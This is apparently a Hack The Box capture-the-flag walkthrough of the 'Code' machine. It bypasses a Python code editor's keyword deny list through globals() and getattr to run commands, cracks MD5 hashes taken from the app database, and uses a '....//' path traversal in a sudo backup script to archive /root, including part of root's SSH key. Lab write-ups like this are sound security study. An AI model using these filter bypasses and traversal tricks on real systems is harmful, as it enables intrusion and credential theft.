HTB: Code

The website in Code is a Python in browser code editor. A lot of the dangerous modules are blocked by a keyword filter. I’ll bypass the filter and get RCE. The next user’s hash is in the database, and I’ll crack it to move laterally. For root, I’ll work through a Bash wrapper script around a backup utility, backy. The script tries to prevent backups from outside of /var/ and /home/, but I’ll break out and backup /root. In Beyond Root, I’ll explore protected-regular, which led to some weird behaviors while solving root, and ends up with an unintended solution, and show an slightly unintended path on the foothold using SQLAlchemy.
Box Info
Name | Code ![]() Play on HackTheBox |
---|---|
Release Date | 22 Mar 2025 |
Retire Date | 02 Aug 2025 |
OS | Linux ![]() |
Base Points | Easy [20] |
Rated Difficulty | ![]() |
Radar Graph | ![]() |
![]() |
00:06:04 |
![]() |
00:14:50 |
Creator |
Recon
nmap
nmap
finds two open TCP ports, SSH (22) and HTTP (5000):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 21:22 UTC
Nmap scan report for 10.10.11.62
Host is up (0.092s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds
oxdf@hacky$ nmap -p 22,5000 -sCV 10.10.11.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 21:23 UTC
Nmap scan report for 10.10.11.62
Host is up (0.094s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.23 seconds
Based on the OpenSSH version, the host is likely running Ubuntu 20.04 focal. The webserver on port 5000 is Gunicorn, suggesting a Python application.
Website - TCP 5000
Site
The site is a Python code editor:

Clicking “Run” shows the output on the right:

I can try a reverse shell, but it returns:

The “About” link pops a dialog:

There’s a login page. After registering and logging in, a “My Codes” link appears in the nav bar:

Initially it’s empty:

If I use the save button and give it a name, it shows up:

Tech Stack
The main page response headers just shows Gunicorn:
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Tue, 25 Mar 2025 21:26:52 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 3435
Vary: Cookie
On successful login, a cookie is set:
HTTP/1.1 302 FOUND
Server: gunicorn/20.0.4
Date: Tue, 25 Mar 2025 22:09:51 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 189
Location: /
Vary: Cookie
Set-Cookie: session=.eJx1jDEKAjEQRa8yTh22sdsbCBZiJ7IsQzIbB-IEMsmKLHt304pY_eK99zecl0T2YMPxviHUPvhkM4qMDk-6UpIAvnBgrULJBrgkJmOo5Q0USXTAaXe_7ZWjWC1UJStY876TpaUD3HIDTwqaX5ByhL8P5xzlK-3a5LAZl1kCjsf9A3p0QS8.Z-Mprw.Bl2n0KwU49LfnIGrB5TW-cw8lJA; HttpOnly; Path=/
This is a flask cookie, and it’s used for both flash messages and a signed user id. Flask cookies can be decoded with Flask-Unsign. After a failed login, the new cookie is:
oxdf@hacky$ flask-unsign -d -c eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIFBsZWFzZSB0cnkgYWdhaW4uIl19XX0.Z-Mpow.BSDc0_Yg7l0bIvsSBXn-Is9cUt4
{'_flashes': [('message', 'Invalid credentials. Please try again.')]}
The after logging in:
oxdf@hacky$ flask-unsign -d -c .eJx1jDEKAjEQRa8yTh22sdsbCBZiJ7IsQzIbB-IEMsmKLHt304pY_eK99zecl0T2YMPxviHUPvhkM4qMDk-6UpIAvnBgrULJBrgkJmOo5Q0USXTAaXe_7ZWjWC1UJStY876TpaUD3HIDTwqaX5ByhL8P5xzlK-3a5LAZl1kCjsf9A3p0QS8.Z-Mprw.Bl2n0KwU49LfnIGrB5TW-cw8lJA
{'_flashes': [('message', 'Invalid credentials. Please try again.'), ('message', 'Registration successful! You can now log in.'), ('message', 'Login successful!')], 'user_id': 3}
The site is processing flash messages in the cookie, but then the front end is never pulling them off the stack so they just build up (not sure how this got released with this broken).
The 404 page is the default Flask 404:

Directory Brute Force
I’ll run feroxbuster
against the site:
oxdf@hacky$ feroxbuster -u http://10.10.11.62:5000/
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.62:5000/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 5l 22w 189c http://10.10.11.62:5000/logout => http://10.10.11.62:5000/
200 GET 24l 53w 730c http://10.10.11.62:5000/login
200 GET 24l 53w 741c http://10.10.11.62:5000/register
200 GET 192l 382w 3529c http://10.10.11.62:5000/static/css/styles.css
405 GET 5l 20w 153c http://10.10.11.62:5000/run_code
405 GET 5l 20w 153c http://10.10.11.62:5000/save_code
200 GET 100l 234w 3435c http://10.10.11.62:5000/
200 GET 22l 96w 818c http://10.10.11.62:5000/about
302 GET 5l 22w 199c http://10.10.11.62:5000/codes => http://10.10.11.62:5000/login
[####################] - 2m 30013/30013 0s found:9 errors:0
[####################] - 2m 30000/30000 280/s http://10.10.11.62:5000/
Nothing interesting here beyond what I’ve already identified with manual enumeration.
Shell as app-production
Deny List Identification
Running code sends an HTTP POST to /run_code
:
POST /run_code HTTP/1.1
Host: 10.10.11.62:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 33
Origin: http://10.10.11.62:5000
Connection: keep-alive
Referer: http://10.10.11.62:5000/?code_id=0
Cookie: session=.eJzVkMFqAkEMhl8lzXnx4s03EHoovYmIxJk4G5idyCSzi4jv3l2hlNLae0855Pv_L-SGx3Mm69lws78h-DxwYDNKjB1uy0hZIoTKkYsLZVvBW2YyBq9XoERSVni4dz-z75zEvJKLFrAWwrw5t_wCO20QqEDRCbImeNrwqkm-RX_Hlr6oc51DTyPDhesgZovWFUbhCbwXg6CRn5iWikf2xFyWoxJH0OZ_4EMzn_FPWL5kV231IbP_9plDh824HiXiZn3_AMnAt4U.Z-NOig.95P_eh5Hjzrx_eozxDj_DF8MLtk
Priority: u=0
code=print(%22Hello%2C+world!%22)
The code is included URL-encoded.
If I send that request to Burp Repeater and some playing around shows that the word “import” is blocked. For example, missing the final “t” returns a Python error:

Adding the “t” hits the block list:

If I add things around “import” like “ximportx”, it still blocks, which shows that it’s only matching on strings, not looking at the code that is executed.
Another blocked word seems to be “__builtins__”. “os” and “subprocess” are blocked too.
Deny List Fuzz
I won’t really end up using this, but it’s still an interesting exercise. I’ll create a list of Python keywords using a Python script:
import builtins
import keyword
import pkgutil
import sys
kws = []
kws += dir()
kws += keyword.kwlist
kws += dir(builtins)
kws += sys.builtin_module_names
kws += [m.name for m in pkgutil.iter_modules()]
print('\n'.join(set(kws)))
I’ll run this Python script to generate the wordlist and run it in ffuf
:
oxdf@hacky$ ffuf -u http://10.10.11.62:5000/run_code -d 'code=FUZZ' -w python_keywords -mr "not allowed" -H "Content-Type: application/x-www-form-urlencoded"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.10.11.62:5000/run_code
:: Wordlist : FUZZ: /home/oxdf/hackthebox/code-10.10.11.62/python_keywords
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : code=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: not allowed
________________________________________________
ssh_import_id [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 95ms]
ImportWarning [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 125ms]
OpenSSL [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 133ms]
systemd [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 138ms]
open [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
import [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
_threading_local [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 91ms]
eval [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
_posixshmem [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
subprocess [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 91ms]
_thread [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 91ms]
readline [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
zipimport [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
_distutils_system_mod [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 92ms]
importlib [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
_testimportmultiple [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
os [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
SystemError [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
posixpath [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
__builtins__ [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
ImportError [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
posix [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 91ms]
ossaudiodev [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
__import__ [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
OSError [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
threading [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
_posixsubprocess [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
exec [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 89ms]
termios [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 92ms]
_osx_support [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 91ms]
SystemExit [Status: 200, Size: 56, Words: 7, Lines: 2, Duration: 90ms]
:: Progress: [654/654] :: Job [1/1] :: 222 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
This provides a good list of words that are blocked.
RCE
I didn’t really end up using that list. I’ll show my process for getting past the block list in this video:
In short, I am able to run globals()
:

This dictionary has all the loaded functions, including the os
module:

The string “os” triggers the block, but since I am access it as a string, 'o' + 's'
is not:

“open” is also blocked, but I can use the getattr
function to get a method or attribute from a module, and then string concatenation to bypass the filter:

With access to popen
, I’ll run it, which returns a os._wrap_close
object:

I need to call .read
. “read” is blocked, but getattr
plus string concatenation again:

This time I’ve added ()
to the end to run the function once it’s returned.
Shell
I’ll replace “id” with a bash reverse shell and on running, it hangs:

At nc
, there’s a shell:
oxdf@hacky$ nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.62 41918
bash: cannot set terminal process group (28976): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$
I’ll upgrade the shell using the script trick:
app-production@code:~/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
app-production@code:~/app$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
app-production@code:~/app$
And I can read user.txt
:
app-production@code:~$ cat user.txt
1eb22db4************************
This shell can die quickly, so I’ll add an SSH key:
app-production@code:~$ mkdir .ssh
app-production@code:~$ cd .ssh
app-production@code:~/.ssh$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" > authorized_keys
Now I can SSH in from my host:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen app-production@10.10.11.62
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
...[snip]...
app-production@code:~$
Shell as martin
Enumeration
Users
There’s nothing too interesting in the app-production user’s home directory other than the web application in app
:
app-production@code:~$ ls -la
total 40
drwxr-x--- 6 app-production app-production 4096 Mar 26 18:33 .
drwxr-xr-x 4 root root 4096 Aug 27 2024 ..
drwxrwxr-x 6 app-production app-production 4096 Feb 20 12:10 app
lrwxrwxrwx 1 app-production app-production 9 Jul 27 2024 .bash_history -> /dev/null
-rw-r--r-- 1 app-production app-production 220 Jul 26 2024 .bash_logout
-rw-r--r-- 1 app-production app-production 3771 Jul 26 2024 .bashrc
drwx------ 2 app-production app-production 4096 Aug 26 2024 .cache
drwxrwxr-x 3 app-production app-production 4096 Aug 26 2024 .local
-rw-r--r-- 1 app-production app-production 807 Jul 26 2024 .profile
lrwxrwxrwx 1 app-production app-production 9 Jul 27 2024 .python_history -> /dev/null
lrwxrwxrwx 1 app-production app-production 9 Jul 27 2024 .sqlite_history -> /dev/null
drwxr-xr-x 2 app-production app-production 4096 Mar 26 18:33 .ssh
-rw-r----- 1 root app-production 33 Jul 27 2024 user.txt
There’s one other user on the box with a home directory in /home
, which matches users with shells set in passwd
:
app-production@code:/home$ ls
app-production martin
app-production@code:/home$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash
The app-production user requires a password to run sudo -l
, which I don’t have:
app-production@code:~$ sudo -l
[sudo] password for app-production:
Web Database
There is a SQLite database in /home/app-production/app/instance/
:
app-production@code:~/app/instance$ file database.db
database.db: SQLite 3.x database, last written using SQLite version 3031001
It has two tables:
app-production@code:~/app/instance$ sqlite3 database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
code user
code
is not interesting:
sqlite> .headers on
sqlite> select * from code;
id|user_id|code|name
1|1|print("Functionality test")|Test
user
has two users with hashes (my user must have been cleaned up):
sqlite> select * from user;
id|username|password
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
Recover Password
Identify Algorithm
Just looking at these hashes I can guess that they are MD5s based on their being 32 hex characters. That said, to be sure I can look at app.py
. In register
, the user-supplied password is hashed before storing in the DB:
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = hashlib.md5(request.form['password'].encode()).hexdigest()
Lookup
MD5s are very quick to bruteforce with hashcat
, but they also benefit from being unsalted, which means that people have already calculated and stored hashes for a huge number of passwords and I can just do a lookup. I would be careful about putting a production hash into a site on the internet, but for HTB, something like CrackStation works great:

Both crack!
su / SSH
The “nafeelswordsmaster” password works for martin on Code with su
:
app-production@code:~$ su - martin
Password:
martin@code:~$
They also work over SSH from my host:
oxdf@hacky$ sshpass -p nafeelswordsmaster ssh martin@10.10.11.62
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
martin@code:~$
Disclaimer - I like to use sshpass
to pass passwords via the command line for CTF blog posts because it makes it very clear what I’m doing. Never enter real credentials into the command line like this.
Shell as root
Enumeration
Home Directory
martin’s home directory has a backups
directory:
martin@code:~$ ls
backups
martin@code:~$ cd backups/
martin@code:~/backups$ ls
code_home_app-production_app_2024_August.tar.bz2 task.json
The tar.bz2
file has a copy of the app-production user’s home directory.
task.json
describes the backup:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
sudo
martin can run backy.sh
as root on Code:
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
backy.sh
The script is a way to run backy
after filtering the input:
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
In theory, it’s limiting running to only target /var/
and /home/
, and blocking any directory traversal by replacing ../
with nothing.
backy
There’s also a /usr/bin/backy
elf file:
martin@code:~$ file /usr/bin/backy
/usr/bin/backy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=RWqjP0EHFxWRL9SxAzvR/3-TEtzva44_xlRAMnq1A/OtYOmubKIkGHYUBMolai/2rhkvEyKOF9Rp_sQ7C0l, not stripped
Running it shows an error for not specifying a task:
martin@code:~$ /usr/bin/backy
2025/03/26 19:08:07 🍀 backy 1.2
2025/03/26 19:08:07 ❗️ No task configuration provided
2025/03/26 19:08:07 🔰 Usage: backy <task.json>
Searching for strings, I find it on GitHub relatively quickly:

File Read
Benign Usage
To get a feel for the app, I’ll make a copy of task.json
in /dev/shm
and edit it a bit:
{
"destination": "/dev/shm/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"~/"
]
}
I’m going to backup all of the current user’s home directory to /dev/shm
. On running, it works:
martin@code:~$ backy /dev/shm/task.json
2025/03/26 19:38:13 🍀 backy 1.2
2025/03/26 19:38:13 📋 Working with /dev/shm/task.json ...
2025/03/26 19:38:13 💤 Nothing to sync
2025/03/26 19:38:13 📤 Archiving: [/home/martin]
2025/03/26 19:38:13 📥 To: /dev/shm ...
2025/03/26 19:38:13 📦
tar: Removing leading `/' from member names
/home/martin/
/home/martin/.local/
/home/martin/.sqlite_history
/home/martin/.profile
/home/martin/.python_history
/home/martin/backups/
/home/martin/backups/task.json
/home/martin/backups/code_home_app-production_app_2024_August.tar.bz2
/home/martin/.cache/
/home/martin/.bash_logout
/home/martin/.ssh/
/home/martin/.bash_history
/home/martin/.bashrc
There’s a backup in /dev/shm
:
martin@code:~$ ls /dev/shm/
code_home_martin_2025_March.tar.bz2 task.json
Directory Traversal
The backy.sh
script passes the task.json
file into jq
to replace instances of ../
with nothing:
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
I’ll do some experimenting at the command line with jq
on how this works:
martin@code:~$ echo '{"other_key": true, "directories_to_archive":["~/"]}' | jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'
{
"other_key": true,
"directories_to_archive": [
"~/"
]
}
With my initial payload it doesn’t change anything. To work in the script, the directories must start with /var
or /home
:
martin@code:~$ echo '{"other_key": true, "directories_to_archive":["/var/tmp"]}' | jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'
{
"other_key": true,
"directories_to_archive": [
"/var/tmp"
]
}
The obvious attack is to start in /var
and then go up and back into /root
, but the ../
is filtered out:
martin@code:~$ echo '{"other_key": true, "directories_to_archive":["/var/../root"]}' | jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'
{
"other_key": true,
"directories_to_archive": [
"/var/root"
]
}
I’ll use the common trick with web directories traversals to pass in something like “….//”, so that when “../” is removed, “../” remains:
martin@code:~$ echo '{"other_key": true, "directories_to_archive":["/var/....//root"]}' | jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'
{
"other_key": true,
"directories_to_archive": [
"/var/../root"
]
}
With that in mind, I’ll create a task.json
:
{
"destination": "/dev/shm/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/var/....//root/"
]
}
It works:
martin@code:~$ sudo backy.sh task.json
2025/03/26 19:48:36 🍀 backy 1.2
2025/03/26 19:48:36 📋 Working with task.json ...
2025/03/26 19:48:36 💤 Nothing to sync
2025/03/26 19:48:36 📤 Archiving: [/var/../root]
2025/03/26 19:48:36 📥 To: /dev/shm ...
2025/03/26 19:48:36 📦
tar: Removing leading `/var/../' from member names
/var/../root/
/var/../root/.local/
/var/../root/.local/share/
/var/../root/.local/share/nano/
/var/../root/.local/share/nano/search_history
/var/../root/.sqlite_history
/var/../root/.profile
/var/../root/scripts/
/var/../root/scripts/cleanup.sh
/var/../root/scripts/backups/
/var/../root/scripts/backups/task.json
/var/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/var/../root/scripts/database.db
/var/../root/scripts/cleanup2.sh
/var/../root/.python_history
/var/../root/root.txt
/var/../root/.cache/
/var/../root/.cache/motd.legal-displayed
/var/../root/.ssh/
/var/../root/.ssh/id_rsa
/var/../root/.ssh/authorized_keys
/var/../root/.bash_history
/var/../root/.bashrc
Lots of interesting stuff in there. It’s worth a quick note to say that this fails if task.json
is located in /dev/shm
or /tmp
. I’ll explore why in Beyond Root.
I’ll decompress the archive:
martin@code:/dev/shm$ tar xjf code_var_.._root_2025_March.tar.bz2
martin@code:/dev/shm$ ls
code_var_.._root_2025_March.tar.bz2 root
It creates a root
directory. I can read the flag:
martin@code:/dev/shm$ cat root/root.txt
5cd1b0f3************************
I can also get root’s private SSH key:
martin@code:/dev/shm$ cat root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvxPw90VRJajgkjwxZqXr865V8He/HNHVlhp0CP36OsKSi0DzIZ4K
sqfjTi/WARcxLTe4lkVSVIV25Ly5M6EemWeOKA6vdONP0QUv6F1xj8f4eChrdp7BOhRe0+
...[snip]...
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY----=
And SSH as root:
oxdf@hacky$ ssh -i ~/keys/code-root root@10.10.11.62
...[snip]...
root@code:~#
Beyond Root
Root Weirdness
Situation
On first trying to solve Code, I’ll save task.json
in /dev/shm
, the temp directory I like to work out of. However, on running basky.sh
as root to exploit this, it fails:
martin@code:/dev/shm$ sudo backy.sh ./task.json
/usr/bin/backy.sh: line 19: ./task.json: Permission denied
2025/07/29 16:10:29 🍀 backy 1.2
2025/07/29 16:10:29 📋 Working with ./task.json ...
2025/07/29 16:10:29 💤 Nothing to sync
2025/07/29 16:10:29 📤 Archiving: [/var/....//root]
2025/07/29 16:10:29 📥 To: /dev/shm ...
2025/07/29 16:10:29 📦
tar: Removing leading `/' from member names
tar: /var/....//root: Cannot stat: No such file or directory
tar: Exiting with failure status due to previous errors
2025/07/29 16:10:29 💢 Archiving failed for: /var/....//root
2025/07/29 16:10:29 ❗️ Archiving completed with errors
On the first line of output, there’s a permissions denied message associated with backy.sh
line 19. It’d odd that root has permission denied. Line 19 is where the cleaned up task is written back over the original file:
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
Then it tries to run backy
anyway, but the path it’s trying to back up it broken, and it fails.
Protected Regular
The reason this fails is because of a security measure in the Linux kernel named protected regular:
This protection is similar to protected_fifos, but it avoids writes to an attacker-controlled regular file, where a program expected to create one.
When set to “0”, writing to regular files is unrestricted.
When set to “1” don’t allow
O_CREAT
open on regular files that we don’t own in world writable sticky directories, unless they are owned by the owner of the directory.When set to “2” it also applies to group writable sticky directories.
/dev/shm
, /tmp
, and /var/tmp
are all world-writable, sticky directories owned by root. So when root tries on line 19 to write to a file owned by martin in any of these dirs, it gets blocked.
This is very similar to protected symlinks security measure I covered in LinkVortex.
Unintended Root
Because bash
scripts are very forgiving on failures and will just continue (unless something like set -o errexit
or set -e
is called before), I can abuse this to skip the directory traversal “fix” entirely.
I’ll write a task.json
with a natural traversal:
{
"destination": "/dev/shm/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/var/../root/"
]
}
Now when I run this, it still throws the error on line 19, but then continues and backs up /root/
to /dev/shm
:
martin@code:/dev/shm$ sudo backy.sh task.json
/usr/bin/backy.sh: line 19: task.json: Permission denied
2025/07/29 16:43:17 🍀 backy 1.2
2025/07/29 16:43:17 📋 Working with task.json ...
2025/07/29 16:43:17 💤 Nothing to sync
2025/07/29 16:43:17 📤 Archiving: [/var/../root]
2025/07/29 16:43:17 📥 To: /dev/shm ...
2025/07/29 16:43:17 📦
tar: Removing leading `/var/../' from member names
/var/../root/
/var/../root/.local/
/var/../root/.local/share/
/var/../root/.local/share/nano/
/var/../root/.local/share/nano/search_history
/var/../root/.selected_editor
/var/../root/.sqlite_history
/var/../root/.profile
/var/../root/scripts/
/var/../root/scripts/cleanup.sh
/var/../root/scripts/backups/
/var/../root/scripts/backups/task.json
/var/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/var/../root/scripts/database.db
/var/../root/scripts/cleanup2.sh
/var/../root/.python_history
/var/../root/root.txt
/var/../root/.cache/
/var/../root/.cache/motd.legal-displayed
/var/../root/.ssh/
/var/../root/.ssh/id_rsa
/var/../root/.ssh/authorized_keys
/var/../root/.bash_history
/var/../root/.bashrc
Alternative Foothold
Overview
On solving, I bypassed the filters to get access to the os
modules and ran (with some obfuscation) os.popen(cmd).read()
to get RCE and a shell. Then I read the database and pivoted to the next user, martin.
However, it’s very reasonable to skip the RCE and go right to the DB:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[Python Editor]--Filter\nBypass-->B[<a href='#shell-as-app-production'>Shell as\napp-production</a>];
B-->C(Read Password\nHash from DB)
C-->D(Crack Password)
D-->E[<a href="#su--ssh">Shell as\nmartin</a>]
A--Python ORM-->C;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,6 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
Expliot
I’ll start where I list the items in the globals
dictionary via the editor:

User
is one! If Flask is using SQLAlchemy to interact with the DB, it will have mapped User
and likely Code
objects to tables in the database. Looking at the object, it has attributes like codes
, id
, metadata
, password
, username
, and most interestingly, query
:

There are two users in the DB:

An individual user will have basically the same attributes as shown above. I’ll get the username and password:

From here I can crack the hash and SSH in as martin as above.